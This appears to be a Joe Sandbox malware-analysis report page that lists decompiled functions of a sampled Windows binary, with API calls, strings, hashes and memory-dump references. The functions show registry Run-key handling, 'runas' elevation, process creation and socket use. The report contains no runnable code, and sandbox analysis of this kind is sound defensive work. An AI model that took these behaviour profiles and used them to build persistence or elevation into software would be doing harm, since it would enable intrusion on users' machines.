Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Event$CloseCreateEventsInfoLocaleMultipleSelectWait___crt$htonsrecvsendund_memcpy
String ID:
API String ID: 1915974844-0
Opcode ID: 2b542aaa17e819710e9daa185b98141656ff1eb416c210e229dbb9fe053fa88c
Instruction ID: 3d5fcb0648f0dc37aa664c8d33ac4e25322daaecd6da4a3994746836542af0dc
Opcode Fuzzy Hash: 2b542aaa17e819710e9daa185b98141656ff1eb416c210e229dbb9fe053fa88c
Instruction Fuzzy Hash: 034124B5E00109AFCB04DF94D981EBFB7B5BF99300F148549E505AB342D635EE41CBA5

Function 009358B0 Relevance: 86.2, APIs: 38, Strings: 11, Instructions: 487registrylibraryloaderCOMMON

Download Yara Rule

APIs

wnsprintfW.SHLWAPI ref: 00935A98
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 00935AB4
wnsprintfW.SHLWAPI ref: 00935AE4
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 00935B00
wnsprintfW.SHLWAPI ref: 00935B30
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 00935B4C
wnsprintfW.SHLWAPI ref: 00935B7C
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 00935B98

Part of subcall function 00932680: RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 0093269B
Part of subcall function 00932680: RegDeleteValueW.ADVAPI32(?,00996FC8,?,?,00921109), ref: 009326AE
Part of subcall function 00932680: RegCloseKey.ADVAPI32(?,?,?,00921109), ref: 009326B8
Part of subcall function 00932680: RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,?), ref: 009326D5
Part of subcall function 00932680: RegDeleteValueW.ADVAPI32(?,00997016,?,?,00921109), ref: 009326E8
Part of subcall function 00932680: RegCloseKey.ADVAPI32(?,?,?,00921109), ref: 009326F2

Part of subcall function 00933160: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,00935BA8), ref: 0093317A
Part of subcall function 00933160: SHGetKnownFolderPath.SHELL32(00957BF0,00000000,00000000,?), ref: 00933196
Part of subcall function 00933160: __snwprintf.LIBCMT ref: 009331B7
Part of subcall function 00933160: CoTaskMemFree.COMBASE(?), ref: 009331CD
Part of subcall function 00933160: LocalFree.KERNEL32(00000000), ref: 009331D7
Part of subcall function 00933160: SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,?), ref: 009331EA
Part of subcall function 00933160: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 009331FF
Part of subcall function 00933160: __snwprintf.LIBCMT ref: 00933229
Part of subcall function 00933160: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00933238
Part of subcall function 00933160: __snwprintf.LIBCMT ref: 00933263
Part of subcall function 00933160: LocalFree.KERNEL32(00000000), ref: 00933283
Part of subcall function 00933160: LocalFree.KERNEL32(00000000), ref: 0093328D
Part of subcall function 00933160: CoTaskMemFree.COMBASE(?), ref: 00933297

Part of subcall function 00932F20: OpenEventW.KERNEL32(00100002,00000000,{89E23A13-ADB8-48F9-89AD-99D84326EACC}), ref: 00932F3F
Part of subcall function 00932F20: SetEvent.KERNEL32(00000000), ref: 00932F5B
Part of subcall function 00932F20: CloseHandle.KERNEL32(00000000), ref: 00932F68
Part of subcall function 00932F20: OpenMutexW.KERNEL32(00100000,00000000,{03BAFAB9-0901-490D-BDFD-DD24348C9754}), ref: 00932F84
Part of subcall function 00932F20: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00932FA2
Part of subcall function 00932F20: CloseHandle.KERNEL32(00000000), ref: 00932FAF
Part of subcall function 00932F20: SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,?), ref: 00932FC5
Part of subcall function 00932F20: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00932FDA
Part of subcall function 00932F20: __snwprintf.LIBCMT ref: 0093301F
Part of subcall function 00932F20: _memset.LIBCMT ref: 0093306A
Part of subcall function 00932F20: GetFileAttributesW.KERNEL32(00000000), ref: 009330A5
Part of subcall function 00932F20: LocalFree.KERNEL32(00000000), ref: 009330F1
Part of subcall function 00932F20: CoTaskMemFree.COMBASE(?), ref: 009330FE

Part of subcall function 00932E00: SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,00935BB2,?,?,?,?,?,?,?,?,?,?,?,00935BB2), ref: 00932E13
Part of subcall function 00932E00: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,00935BB2), ref: 00932E28
Part of subcall function 00932E00: __snwprintf.LIBCMT ref: 00932E61
Part of subcall function 00932E00: _memset.LIBCMT ref: 00932E97
Part of subcall function 00932E00: GetFileAttributesW.KERNEL32(00000000), ref: 00932EC0
Part of subcall function 00932E00: LocalFree.KERNEL32(00000000), ref: 00932EFD
Part of subcall function 00932E00: CoTaskMemFree.COMBASE(00935BB2), ref: 00932F07

Part of subcall function 00932AB0: CoInitializeEx.COMBASE(00000000,00000000), ref: 00932AE0
Part of subcall function 00932AB0: CoUninitialize.COMBASE ref: 00932DDD

Part of subcall function 00930010: SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,00936B10,00991178,00936B10), ref: 00930023
Part of subcall function 00930010: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00930034
Part of subcall function 00930010: wnsprintfW.SHLWAPI ref: 0093005F
Part of subcall function 00930010: CoTaskMemFree.COMBASE(?), ref: 0093007F

_memset.LIBCMT ref: 00935C2A
GetFileAttributesW.KERNEL32(?), ref: 00935C65
SHFileOperationW.SHELL32(?), ref: 00935C82
LocalFree.KERNEL32(?), ref: 00935CB1
_memset.LIBCMT ref: 00935D09
__snwprintf.LIBCMT ref: 00935D2E
_memset.LIBCMT ref: 00935D4D
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00935D61
_memset.LIBCMT ref: 00935D86
__snwprintf.LIBCMT ref: 00935DB1
__snwprintf.LIBCMT ref: 00935DD5
_memset.LIBCMT ref: 00935DF2
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000044,?), ref: 00935E36
GetCurrentProcess.KERNEL32 ref: 00935E45
DuplicateHandle.KERNEL32(?,?,?,00000000,00000000,00000001,00000002), ref: 00935E7D
GetCurrentProcess.KERNEL32 ref: 00935E8C
DuplicateHandle.KERNEL32(?,000002DC,?,00000000,00000000,00000001,00000002), ref: 00935EC4
LoadLibraryW.KERNEL32(?), ref: 00935EDA
_memset.LIBCMT ref: 00935EFE
GetProcAddress.KERNEL32(?,?), ref: 00935F14
GetProcAddress.KERNEL32(?,?), ref: 00935F2E
LocalFree.KERNEL32(?), ref: 00936079
CloseHandle.KERNEL32(?), ref: 0093609A
CloseHandle.KERNEL32(?), ref: 009360A7
TerminateProcess.KERNEL32(?,00000000), ref: 009360BF
LocalFree.KERNEL32(?), ref: 009360CC
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 009360DE
SetEvent.KERNEL32(00000000), ref: 009360FA
CloseHandle.KERNEL32(00000000), ref: 00936107

Strings

D, xrefs: 00935DFA
Software\%s, xrefs: 00935AD3
Software\%s, xrefs: 00935B1F
Software\%s, xrefs: 00935A87
{D4C13668-5BB2-45CB-BED4-3819586C0538}, xrefs: 00935B1A
{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 009360D2
{487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}, xrefs: 00935ACE
%s%s, xrefs: 00935D1D
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 00935A82
SOFTWARE\%s, xrefs: 00935B6B
{E6A92BD6-A819-489E-9C8C-330F9E40F59F}, xrefs: 00935B66

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$__snwprintf_memset$CloseHandle$AllocDelete$FolderKnownOpenPathTaskwnsprintf$EventFileProcess$Attributes$AddressCurrentDuplicateProcValue$CreateDirectoryInitializeLibraryLoadMutexObjectOperationSingleTerminateUninitializeWaitWindows
String ID: %s%s$D$SOFTWARE\%s$Software\%s$Software\%s$Software\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}${487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}${D4C13668-5BB2-45CB-BED4-3819586C0538}${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}${E6A92BD6-A819-489E-9C8C-330F9E40F59F}
API String ID: 2433134821-546254904
Opcode ID: 1f8d24110814a7ec9d0e88d058e38fed5b554e5647c57c9f00572d02d429d632
Instruction ID: c7cf85c2169f16b821316a83e41fd81c55634908c61c71d1136138c707394b49
Opcode Fuzzy Hash: 1f8d24110814a7ec9d0e88d058e38fed5b554e5647c57c9f00572d02d429d632
Instruction Fuzzy Hash: 73227FB1D01328ABDB24DF64DC89FD9B7B8BB88704F0045D9E60DA6281EB755B88CF51

Function 0092C1F0 Relevance: 63.2, APIs: 27, Strings: 9, Instructions: 243memoryprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0092C267
SetEvent.KERNEL32(00000000), ref: 0092C2B2
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092C2E6
wnsprintfW.SHLWAPI ref: 0092C31C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092C32C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092C379
CoInitializeEx.COMBASE(00000000,00000006), ref: 0092C405
ShellExecuteExW.SHELL32(<@@), ref: 0092C418
GetLastError.KERNEL32 ref: 0092C424
CoUninitialize.COMBASE ref: 0092C439
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092C47A
wnsprintfW.SHLWAPI ref: 0092C4B5
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0092C4FC
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 0092C51D
SetEvent.KERNEL32(00000000), ref: 0092C539
CloseHandle.KERNEL32(00000000), ref: 0092C546
LocalFree.KERNEL32(00000000), ref: 0092C553
LocalFree.KERNEL32(00000000), ref: 0092C560
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 0092C574
SetEvent.KERNEL32(00000000), ref: 0092C590
CloseHandle.KERNEL32(00000000), ref: 0092C59D
LocalFree.KERNEL32(00000000), ref: 0092C5AA
LocalFree.KERNEL32(00000000), ref: 0092C5B7
LocalFree.KERNEL32(00000000), ref: 0092C5C4
LocalFree.KERNEL32(00000000), ref: 0092C5D1
shutdown.WS2_32(?,00000002), ref: 0092C5DD
closesocket.WS2_32(?), ref: 0092C5E7

Part of subcall function 0092B6D0: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0092B701
Part of subcall function 0092B6D0: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092B724
Part of subcall function 0092B6D0: __snwprintf.LIBCMT ref: 0092B74E
Part of subcall function 0092B6D0: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 0092B773
Part of subcall function 0092B6D0: GetLastError.KERNEL32 ref: 0092B77C
Part of subcall function 0092B6D0: LocalFree.KERNEL32(00000000), ref: 0092B7FC
Part of subcall function 0092B6D0: LocalFree.KERNEL32(00000000), ref: 0092B806

Strings

%s%s, xrefs: 0092C30B
{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 0092C511, 0092C568
{0AD702D0-3095-4181-A79C-FE2E80D29BC5}, xrefs: 0092C392
<@@, xrefs: 0092C411, 0092C417
"%s%s" %s, xrefs: 0092C4A4
runas, xrefs: 0092C3ED
D, xrefs: 0092C4CF
@@, xrefs: 0092C3BF
{411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}, xrefs: 0092C493

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocEvent$Create$CloseErrorHandleLastOpenwnsprintf$DirectoryExecuteFileInitializeProcessShellUninitialize__snwprintfclosesocketsetsockoptshutdown
String ID: "%s%s" %s$%s%s$<@@$@@$D$runas${0AD702D0-3095-4181-A79C-FE2E80D29BC5}${411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 2920538479-2452547114
Opcode ID: c3a0b0a30a5704d6a24fe76363268f925b8d0406983b2bd875cfa6fefce9bc77
Instruction ID: cf2a0ee98abdc8511edb6426158fae1ea561b55ea020b3237ebb5939a786b740
Opcode Fuzzy Hash: c3a0b0a30a5704d6a24fe76363268f925b8d0406983b2bd875cfa6fefce9bc77
Instruction Fuzzy Hash: AEA151B0914228EFDB24DF68DC49F9DB774BF48705F108599F609A7290DB745A84CF60

Function 00924C30 Relevance: 59.8, APIs: 28, Strings: 6, Instructions: 257filestringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00924C50
_memset.LIBCMT ref: 00924C6F
_memset.LIBCMT ref: 00924C8E
SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,?), ref: 00924CAF
__snwprintf.LIBCMT ref: 00924CD8
CoTaskMemFree.COMBASE(?), ref: 00924CE7
_memset.LIBCMT ref: 00924D06
GetTempPathW.KERNEL32(00000104,?), ref: 00924D1A
__snwprintf.LIBCMT ref: 00924D3C
__snwprintf.LIBCMT ref: 00924D7C
CreateDirectoryW.KERNEL32(?,00000000), ref: 00924D8D
GetLastError.KERNEL32 ref: 00924D99
lstrcpyW.KERNEL32(?,?), ref: 00924DCF
__snwprintf.LIBCMT ref: 00924DF6
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00924E17
GetLastError.KERNEL32 ref: 00924E2C

Strings

"%s", xrefs: 00924FAF
D, xrefs: 00924F19
%s\%s, xrefs: 00924D6B
Open, xrefs: 00924FDF
%s\%s, xrefs: 00924DE5
"%s" "%s", xrefs: 00924EE3

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

